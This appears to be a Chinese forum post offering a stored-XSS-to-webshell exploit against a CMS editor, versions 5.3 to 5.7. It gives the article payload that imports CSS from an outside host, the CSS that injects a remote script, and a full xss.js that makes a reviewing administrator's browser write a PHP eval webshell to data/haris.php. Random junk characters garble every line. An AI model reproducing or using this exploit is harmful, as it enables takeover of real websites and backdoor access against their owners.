<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell( t) E8 `' I; l5 |! [7 k
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
# o& S# x' ^3 f目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。7 b& R! u: N+ H8 h7 ]. a
下面说说利用方法。
4 v9 H! V! T5 M% s% j条件有2个:
" {# n8 L) h* A- D2 b! a1.开启注册3 }) C8 o; o8 L+ u7 }
2.开启投稿
/ s& {& t0 x7 ~4 V8 y注册会员----发表文章
; b) m% G2 ^- B7 d5 n' L内容填写:1 U9 I, Z& X8 U0 R
复制代码4 N# x8 d# N( b; j
<style>@im\port'\http://xxx.com/xss.css';</style>
( ]( A3 B9 Q; b0 _* L. p新建XSS.Css
# q/ L4 K6 G7 [3 E# r复制代码7 V: s$ w/ `9 R) h* J! u1 T$ r
.body{
0 o1 V1 b6 f/ E) M. j+ Nbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
3 E o2 g% c6 r; X3 o新建xss.js 内容为
. k1 [, [& \' o- A. _$ j" H+ ~1 J复制代码
, z c+ L3 F) H1.var request = false;
; z4 }1 @% x$ j/ i2.if(window.XMLHttpRequest) {" f; G& v9 F% ~( w
3.request = new XMLHttpRequest();: x, ?; Q# \2 }1 k1 W, l
4.if(request.overrideMimeType) {- @2 H6 A8 i+ c2 o: a' }6 J
5.request.overrideMimeType('text/xml');) ?; z: m" T! K- [; V" Y [$ x
6.}! D3 E, T/ \7 F, F$ O3 a
7.} else if(window.ActiveXObject) {7 Y( k4 K1 b# R
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];# W% t6 g, r4 S
9.for(var i=0; i<versions.length; i++) {1 V/ u2 w+ j) M0 ^' C
10.try {
' q& w7 ^# Q9 f11.request = new ActiveXObject(versions);7 V s( y' }8 ~- S' V
12.} catch(e) {}- P l9 m* k6 J
13.}
4 v7 N2 l+ u2 G; F$ @14.}7 M' P3 E5 V1 _1 r ^
15.xmlhttp=request;
4 F2 i- Z5 M4 X16.function getFolder( url ){1 U( v! U' V$ h
17. obj = url.split('/')0 @' e& Y& b3 Q7 C7 B P- I/ y9 c+ u
18. return obj[obj.length-2] ^: m6 w9 ?# X4 Y2 Q$ |, K* b$ K
19.}
& A: x5 L' G4 h" _" O/ f8 \20.oUrl = top.location.href;' ~! I: x2 z, z# q, t$ f+ m9 p- _
21.u = getFolder(oUrl);
! L# G$ m9 _6 S: X22.add_admin();
5 [8 {0 e6 i" @1 }2 u* e( a23.function add_admin(){
. R( m7 y) h P% F% u7 Y" g, {24.var url= "/"+u+"/sys_sql_query.php";9 f* ~8 A' y7 S$ W( {0 d/ Z% \
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
2 }; s( E. O1 y/ e. s2 f26.xmlhttp.open("POST", url, true);
) I) Q3 A4 ]4 g/ c. N8 ?! }27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");, Y+ d% L6 i8 }
28.xmlhttp.setRequestHeader("Content-length", params.length);( i- Z+ ]' q6 R |/ K/ L' z# X _
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");/ f) m# ~+ {" u. t# w
30.xmlhttp.send(params);7 P# [' t: }" m5 S3 a, Q
31.}# o/ f" S, `: w% T8 w
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |